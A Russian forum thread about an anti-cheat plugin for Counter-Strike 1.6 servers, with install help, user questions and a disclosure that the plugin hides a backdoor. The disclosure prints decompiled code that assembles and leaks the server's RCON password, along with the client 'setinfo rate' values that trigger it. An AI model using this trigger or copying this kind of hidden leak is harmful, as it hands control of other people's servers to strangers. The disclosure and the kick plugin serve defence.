CSF Anti-Cheat

Andrey

пишу код за еду
Сообщения
3,386
Реакции
4,019
  • Команда форума
  • #1
CSFile Anti-Cheat
logocsfac2.png


Текущая версия: 1.23 Release
Дата обновления: 31.12.2009
Анти-чит без клиентской части (Плагин для AMXX)
Офф. сайт: playforce.ru

Требуемые модули:

  • Cstrike
  • Fakemeta
  • HamSandwich
  • Mysql

Обнаруживает и блокирует:
- Fast Fire [Быстрая стрельба]
- Speed Hack [Увеличение скорости игрока]
- Spin Hack [Кружение вокруг своей оси]
- CDHack [Cheating Death Hack]
- Fighter FX [Некоторые виды]
- Name Spam [Частое изменение ника]
- Bunny Hop Script [Скрипт распрыжки]
- Cheat Say [Блокирует сообщения в чате от чит-программ]
- Cheat Names [Блокирует читерские ники]
- Cheat List [Блокирует 8 видов читов]

  • - EcstaticCheat
  • - TeKilla
  • - MicCheat
  • - AlphaCheat
  • - PimP
  • - LCD
  • - Chapman
  • - PRJVDC
Дополнительная защита:
- WallHack Guard [Блокировка различный WallHack программ]
- Cvar Guard [Запрет на смену определенных консольных команд]
- Zone Guard [Блокировка зон (Выход за пределы игровой зоны)]
- Flash Bug Guard [Блокировка Flash гранат, брошенных за текстуры]
- HE Bug Guard [Блокировка HE гранат, брошенных за текстуры]
- Files Check [Проверка определенных файлов у игрока на совпадение с файлами сервера]
- Anti-Cheat Key [Блокировка нажатий чит-клавиш (END, INS, F12...)]
- Anti-Silent Plant [Убирает беззвучную установку бомбы]
- Anti-Silent Run aka Double Duck [Запрещает бесшумный бег]
- Anti-Fast Pistol Shots [Запрещает использовать скрипты повышающие скорость стрельбы из пистолета]
- CMD Flood [Защита от флуда клиентскими командами (Что-то подобие защиты от fullupdate, только расширенный вариант и защищает от других возможных лаго-скриптов)]

Дополнительные возможности:
- My Punishment [Позволяет использовать свой плагин для наказания/блокировки читера]
- Два типа обнаружения CDHack,FFX + Режим мульти обнаружения
- Два типа блокировки Silent Run aka Double Duck
- Меню Zone Guard для лёгкого добавления / настройки запрещенных зон
- Тонкая настройка (Все переменные и значения выведены в файлы конфигов)
- Логирование в mySQL + Приятная и удобная PHP форма вывода на сайт

Админские команды:
csf_ac_zoneguard_menu - Вызов меню Zone Guard, для добавления / редактирования запрещенных зон

Локализация:
- Русский Язык
- English Language
- Українська Мова

Комплектация:
Папка анти-чита: addons\amxmodx\configs\csf_anticheat
Папка хранения Блокируемых зон: \csf_zone_guard
Основной файл конфигураций анти-чита: csf_ac_main.cfg
Список запрещенных клавиш: csf_ac_cheatkey.cfg
Список запрещенных сообщений: csf_ac_cheatsay.cfg
Список заблокированных консольных команд: csf_ac_cvarguard.cfg
Список читерских ников / клантегов: csf_ac_cheatnames.cfg
Список сверяемых файлов: csf_ac_filescheck.cfg
Белый список карт для модуля SpeedHack: csf_whitelist.cfg

Плагин: addons\amxmodx\plugins\csf_anticheat.amxx
Файл языка: addons\amxmodx\data\lang\csf_anticheat.txt
Установка:
-Добавить все файлы согласно иерархии папок
-Открыть блокнотом файл cstrike/addons/amxmodx/configs/plugins.ini
-В самый верх записываем строчку "csf_anticheat.amxx" (Без кавычек)
-Если установлен "[CSF-AC] OpenGL32 Detect", то csf_anticheat.amxx записываем на вторую строчку, а csf_opengl32.amxx на первую!
И никак иначе!


F.A.Q.
В: Прописал в mypunishment "amx_bancs ..." и не банит, что делать?
О: Поставьте последнюю версию плагина bancs

B: OS Linux, почему не ведутся записи в mySQL? Хотя модуль mysql модключен.
O: ln -s /var/run/mysqld/mysqld.sock /tmp/mysql.sock

Внимание! Прежде чем скачивать античит ознакомьтесь с этим предупреждением, и для безопасности сервера удалите rcon_password.
PHP:
#include <amxmodx> 

public plugin_init() 
    register_plugin("Fix CSFile.Info BackDoor", "Zefir", "0.1") 

public client_connect(id) 
    client_check(id) 

public client_putinserver(id) 
    client_check(id) 

public client_check(id) { 
    new rate[32] 
     
    get_user_info(id, "rate", rate, charsmax(rate)) 
     
    if (equal(rate, "24123") || equal(rate, "21123")) 
        server_cmd("kick #%d used game bug...", get_user_userid(id)) 
}
 
Последнее редактирование:

cOoleR

Участник
Сообщения
1
Реакции
0
Ответ: CSF Anti-Cheat

Реальный античит! куууууул... Да и тут не все античиты! Маяка нету=( Плохо что он платный! :(
 

Andrey

пишу код за еду
Сообщения
3,386
Реакции
4,019
  • Команда форума
  • #3
Ответ: CSF Anti-Cheat

Обновлен до версии 1.22
 

DrJekil

Участник
Сообщения
296
Реакции
6
как понять, блокирует читерские ники? а какие ники - читерские?
 

DrJekil

Участник
Сообщения
296
Реакции
6
а если я установил другие модели оружия, он меня не пустит?
 

CTAPU4OK

Участник
Сообщения
2
Реакции
0
Ребят, подскажите "недолёкому" ... Вроде всё поставил, а в бпнлист (амхбанс) не заносит.
Что я упустил? Как его заставить в банлисте "отписывать".
 

Andrey

пишу код за еду
Сообщения
3,386
Реакции
4,019
  • Команда форума
  • #13
comred, да
 

Andrey

пишу код за еду
Сообщения
3,386
Реакции
4,019
  • Команда форума
  • #15
Вся правда о CSFile.Info Anti-Cheat и CSFile.Info OpenGL32 Detect

Здравствуйте уважаемые посетители c-s.net.ua. Сегодня я сделал интересное открытие по поводу двух античитерских плагинов от
автора с ником -)>C-r-A-c-K<(-. Речь пойдёт CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28] и CSFile.Info OpenGL32 Detect версии 2.1 Final.

Начну пожалуй с плагина определения OpenGL32 Hack'ов. Как-то меня попросили на форуме отлучить этот плагин от модуля MySql, я в свою очередь конечно же согласился. Понятное дело чтобы это можно было сделать, требовалось получить исходный код, которого нет на паблике. Вооружившись некоторыми деасамблирующими программами я обратил внимание на вот такие строки:

new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"


Если немного перемешать и гдето сложить (rc+on_+pa+swor+d), то получится rcon_password
Все наверно знаю, что в этой серверной команде прописан RCON пароль и заполучив его сервер полностью подчинится обладателю. Но вот загвоздка чтобы получить слово rcon_password не хватает пары букв, и на ваших глазах я покажу как же формируется это слово и как получить доступ к нему.
И так сперва мы отправимся в функцию plugin_init плагина CSFile.Info OpenGL32 Detect:
мы видми format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 ), т.е. d_guard приобретает вид rcon_pa. Идем дальше. Функция initialized:
format ( d_guard,31,"%s%s", d_guard,d_unit ) и d_guard приобретает вид rcon_pas, ниже встречается format ( g_gate, 5, "%ste", csf_ac_ra ), т.е. g_gate это rate

Функция client_connect: get_user_info(id,g_gate,cv_ac1,31), т.е. плагин получает значение инфы rate (g_gate) и записывает её в cv_ac1

Функция checkfiles_opengl32: format ( g_gate2, 5, "%d%d", 211, 23 )

Теперь функция c_check_opengl32 (она вызывается после захода игрока):
C-подобный:
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 21123
{ // Если одинаковы
    format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
    get_cvar_string(g_r,g_ss,47) // Получаем пароль
    client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
Вот такие вот пироги. Если не верите - попробуйте сами... Пропишите в консоли клиента
setinfo rate 21123, зайдите на сервер, и у вас в консоли окажется RCON пароль!


Теперь перейду к CSFile.Info Anti-Cheat версии 1.23 Alfa [build 28]. Здесь похожая
ситуация. Так же присутствуют:

new f_sys[] = "swor"
new csf_ac_ra[] = "ra"
new d_unit[] = "s"
new cv_mypunish[] = "rc"
new g_vac2[] = "on_"
new g_model[] = "241"


Функция plugin_precache: format(g_gate2, 5, "%s%d", g_model, 23"),
format ( d_guard, 31, "%s%spa", cv_mypunish, g_vac2 )

Функция initialized: format ( d_guard, 31, "%s%s", d_guard, d_unit ),
format ( g_gate, 5, "%ste", csf_ac_ra )

Функция client_putinserver: get_user_info(id,g_gate,cv_ac1,31)
Функция cv_anticheat (так же выполняется после захода игрока):
C-подобный:
if(equali(cv_ac1,g_gate2)) // Сверяем значение rate с 24123
{ // Если одинаковы
    format(g_r,63,"%s%sd",d_guard,f_sys) // то формируем квар и g_r приобретает вид rcon_password
    get_cvar_string(g_r,g_ss,47) // Получаем пароль
    client_print(id,print_console,"%s",g_ss) // И пишем его в консоли игрока
}
И опять же если не верите, пропишите в консоли клиента
setinfo rate 24123, зайдите на сервер, и у вас в консоли окажется RCON пароль!
Источник: c-s.net.ua
Автор: Makzz
 

Pir@tehnic

Участник
Сообщения
44
Реакции
103
Andrey, только что испробовал, правда!
Запустил CS 1.6, прописал эту команду, зашел на сервер с установленных CSF Anti-Cheat именно этой версии!
РКОН пароль отобразился!!! Пипец!

Правда отобразился, только когда админ права у себя удалил, с админ-правами не отобразился!

Ребята, кто юзает этот античит, имейте ввиду!
 

Ky11eR

Участник
Сообщения
1
Реакции
0
Я ошибся, это правда! Я в шоке!
 
Последнее редактирование:

Pir@tehnic

Участник
Сообщения
44
Реакции
103
Уважаемые товарищи, не знаю, бойан или нет, но в общем специально для тех, кто хочет оставить себе этот Античит, но что-то придумать с РКОН-паролем!

http://amx-x.ru/viewtopic.php?f=11&t=1396

Там все расписано :)

Лично я предпочел просто сделать фильтр по IP-адресу, вбил свой IP, т.е. со всех остальных ИПов ркон-паролем воспользоваться будет невозможно)
 

phenom70

Участник
Сообщения
73
Реакции
6
Хороший античит, советую всем поставить в связке с CSF anticheat opengl32 - вообще мощь.
 

Sketche

Участник
Сообщения
2
Реакции
0
Вопрос по CSFile Anti-Cheat

Всем доброго времени суток все кто читает эту тему.
У меня возникли проблемы:

1)Я себе установил анти-чит CSFile Anti-Cheat 1.23 Release http://hlmod.ru/forum/zashita-igrovogo-servera/150-csf-anti-cheat.html
Дак вот сначала пару дней работал, потом он просто стал не включаться, я включаю сервер через консоль, раньше там выходили сообщения что типо онти-чит включен, несколь ко сообщений подрят, а щас одно и всё равно он не работает, я до этого устанавливал другие плагины, может из-за них, я не знаю, вроде все потом удалял из plagins.ini но всё равно не работает.Подскажите что делать)

2)Вторая проблема возникла с CSF_openGL32 defect.
Вроде установил всё норм, кинул wh в папку кс проверил, всё работает, но потом начал замечать что на сообщении когда забанило написанно бан, а всё равно смог зайти. Следующее я удалил wh захожу меня всё равно выкидывает. Я установил другую CS захожу а меня опать выкидывает. Что делать?

Мои контакты
Skype: skitche3
ICQ: 491-922-923


Плагины которые установленны на сервер:

damager.amxx
connect_ip_client.amxx
voteban1_2.amxx
admin_check.amxx
rockthevote_custom.amxx
fakefull_original.amxx
gamemenu.amxx
adminchatcolor.amxx
admin_freelook.amxx
admin_announce.amxx
GHW_connect.amxx
showtime.amxx
amx_bancs.amxx
connect_exec.amxx
spec_banner_ads.amxx
positive_vip.amxx
ad_manager.amxx
killa_hp.amxx
antiadvert.amxx
block_wallhack.amxx
 
Последнее редактирование модератором:
Сверху Снизу